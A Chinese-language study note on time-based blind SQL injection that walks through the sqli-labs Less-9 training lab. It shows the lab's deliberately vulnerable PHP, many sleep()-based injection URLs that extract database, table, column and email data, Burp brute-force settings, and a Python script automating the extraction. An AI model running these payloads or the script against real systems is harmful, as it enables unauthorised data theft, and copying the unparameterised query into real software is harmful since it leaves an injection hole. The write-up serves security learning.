学习笔记-渗透测试-SQL注入_005_时间盲注

1 时间盲注

时间盲注是一种比布尔盲注更极端的情况,它适用于无论输入与否前端已经不反馈任何东西了

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
        if($row)
        {
        echo '<font size="5" color="#FFFF00">';
        echo 'You are in...........';
        echo "<br>";
        echo "</font>";
        }
        else
        {
        echo '<font size="5" color="#FFFF00">';
        echo 'You are in...........';
        //print_r(mysql_error());
        //echo "You have an error in your SQL syntax";
        echo "</br></font>";
        echo '<font color= "#0000ff" font size= 3>';
        }
}
        else { echo "Please input the ID as parameter with numeric value";}
?>

这是sqli-labs靶场的第九关的PHP代码,我们能够看到,无论执行成功与否,返回的都是You are in...........

时间盲注与布尔型注入的区别在于,时间注入是利用sleep()benchmark()等函数让数据库执行的时间变长

时间盲注多与if函数结合使用。如:if(a,b,c),此if语句的含义是,如果a为真则返回值为b,否则返回值为c

如:if(length(database())>1,sleep(5),1)它的含义为,如果当前数据库名字符长度大于1,则执行sleep函数使数据库执行延迟,否则则返回1

所以时间注入的本质也是布尔注入,只不过是用数据库是否延迟执行的方式来表达是与否的逻辑

核心语法:

if(left(user(),1)='a',0,sleep(3));

语句构造方式与布尔盲注基本类似,只是在外面加了一层if判断,判断为真返回第二个值,不成功返回第三个值sleep(3)

image-20200806153210600

2 攻击过程

2.1 判断注入点

在进行手工判断时,不需要等待sleep执行完成,只要超过正常执行时间,即可认为sleep()得到了执行

http://192.168.0.102:81/Less-9/?id=1' and sleep(1000) --+ 

2023013001

基本注入语句:

http://192.168.0.102:81/Less-9/?id=1' and if(substring(,1,1)='aaaa',sleep(1000),0) --+
http://192.168.0.102:81/Less-9/?id=1' and if(,sleep(1000),0) --+

2.2 获取用户名

在真正执行的过程中,语句和布尔注入很相似,仅仅只是使用ifsleep进行判断

2.2.1 判断用户名位数

http://192.168.0.102:81/Less-9/?id=1' and if(length(user())>0,sleep(1000),0) --+

if(length(user())>0,sleep(1000),0)
length(user())>0 为True 执行sleep(1000)
length(user())>0 为Flase 执行0

如果需要使用burp进行爆破,则需要修改burp的超时设置时间

Project options -> Connections -> Timeouts -> Normal(将数值修改至延时等待之下)

正常(Normal ) - 此设置用于大多数网络通信,并确定Burp怎样放弃请求和记录已发生超时前等待。
开放式应答(Open-ended responses) - 该设置只用在一个响应正在处理不包含内容长度或传输编码HTTP标头。在这种情况下,Burp确定传输已经完成之前等待指定的时间间隔。
域名解析(Domain name resolution ) - 此设置确定Burp如何重新进行成功的域名查找,如果目标主机地址频繁变化时需要设定为一个适当的低的值。
失败的域名解析(Failed domain name resolution ) - 此设置确定Burp多久会重新尝试不成功的域名查找。

image-20230130223017218

在使用burp延时注入时,建议将正确选项延时,错误选项不执行,可以大幅度加快爆破速度

http://192.168.0.102:81/Less-9/?id=1' and if(length(user())=11111,sleep(1000),0) --+

2023013002

2.2.2 获取当前用户名

http://192.168.0.102:81/Less-9/?id=1' and if(substring(user(),1,1)='a',sleep(1000),0) --+

substring()函数的作用是提取字符串中的字符,例如
substring('abcd',1,1) #返回a
substring('abcd',3,1) #返回c
substring('abcd',3,2) #返回cd

2023013003

2.3 获取库名

2.3.1 获取当前库名

首先进行库名长度猜解,得到库名长度为8

http://192.168.0.102:81/Less-9/?id=1' and if(length(database())=4,sleep(1000),0) --+

burpsuit爆破获得库名

http://192.168.0.102:81/Less-9/?id=1' and if(substring(database(),1,1)='aaaa',sleep(1000),0) --+

集群炸弹爆破 获得库名security

验证
http://192.168.0.102:81/Less-9/?id=1' and if(substring(database(),1,8)='security',sleep(1000),0) --+

image-20230131015009960

2.3.2 获取其他数据库信息

通过burp进行爆破,获得该主机有8个数据库

http://192.168.0.102:81/Less-9/?id=1' and if((select count(schema_name) from information_schema.schemata)=6,sleep(1000),0) --+

第一个数据库的名字长度为18

http://192.168.0.102:81/Less-9/?id=1' and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(1000),0) --+

进一步爆破发现它的名字为 information_schema

http://192.168.0.102:81/Less-9/?id=1' and if(substring((select schema_name from information_schema.schemata limit 0,1),1,1)='aaaaaa',sleep(1000),0) --+

image-20230131020448833

2.4 获取表名

2.4.1 获取数据库中有多少个表

# count计数,不需要使用length
http://192.168.0.102:81/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=2,sleep(1000),0) --+

数据库内有四个表

2.4.2 获取数据表名

# 数据表长6个字符
http://192.168.0.102:81/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=1,sleep(1000),0) --+
# 数据表名 emails
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='aaaa',sleep(1000),0) --+

2.5 获取列名

# 得到emails表有两列
http://192.168.0.102:81/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=8,sleep(1000),0) --+

# 第一列名有2个字符
http://192.168.0.102:81/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_schema= 'security' and table_name= 'users' limit 0,1))=1,sleep(1000),0) --+

# 获取第一列列名为id
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='aaaaa',sleep(1000),0) --+

2.6 获取数据

# 获取security.emails的email_id第一行数据有16位
http://192.168.0.102:81/Less-9/?id=1' and if(length((select email_id from security.emails limit 0,1))=16,sleep(1000),0) --+
# 第一个字符为D
http://192.168.0.102:81/Less-9/?id=1' and if(substring((select email_id from security.emails limit 0,1),1,1)='D',sleep(1000),0) --+

3 攻击脚本

import requests
import time

# 存在时间注入的注入点
url = "http://192.168.0.102:81/Less-9/?id=1'"

# 查库名
database = 'select schema_name from information_schema.schemata'
# 查列名:不同的列只需要替换table_name表名(如果使用十六进制可以不加引号)
column = 'select column_name from information_schema.columns where table_name="table_name"'
# 查当前数据库表名:不同库的表只需要修改database()(如果使用十六进制可以不加引号)
table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''
for i in range(1,30): # 字符串截取长度
    for j in range(48,122): # ASCII码遍历
        payload = " and if(ascii(substring(({} limit 0,1),{},1))={},sleep(5),0) --+".format(database,i,j)
        # 因为测试场景会有大量的失败,所以这里选择成功延时,失败不延时
        # 测试第二个库只需要修改limit 1,1 依次类推
        stime = time.time() # 开始时间
        r = requests.get(url+payload)
        etime = time.time() # 结束时间
        if etime-stime >= 3:  # 要排除网络环境的影响
            result += chr(j)  # j是结果,转换回字母
            print('\r'+result,end='',flush=True) # 控制条原位输出
            break
posted @ 2023-02-26 23:09  kinghtxg  阅读(155)  评论(0编辑  收藏  举报